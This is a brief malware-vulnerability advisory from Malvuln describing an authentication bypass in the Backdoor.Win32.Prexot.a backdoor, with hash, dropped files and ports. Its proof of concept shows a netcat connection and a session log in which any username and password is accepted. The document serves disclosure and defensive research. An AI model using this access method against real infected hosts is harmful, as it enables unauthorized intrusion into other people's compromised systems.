Backdoor.Win32.Prexot.a Authentication Bypass

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/29bc048d58ab8038c7001ef0d5e69c9b.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Prexot.a  
Vulnerability: Authentication Bypass  
Description: The malware listens on random high TCP ports e.g 11404, 19545, 17001, 10110. Third-party attackers who can reach an infected system can logon using any username/password combination.  
Type: PE32  
MD5: 29bc048d58ab8038c7001ef0d5e69c9b  
Vuln ID: MVID-2022-0484  
Dropped files: services.exe, mstempf.exe  
Disclosure: 02/08/2022  
  
Exploit/PoC:  
nc64.exe x.x.x.x 10110  
220 Bot Server (Win32)  
USER malvuln  
331 Password required.  
PASS hate  
230 Login successful. Have fun.  
SYST  
215 UNIX Type: L8  
1PASV  
227 Entering Passive Mode  
  
  
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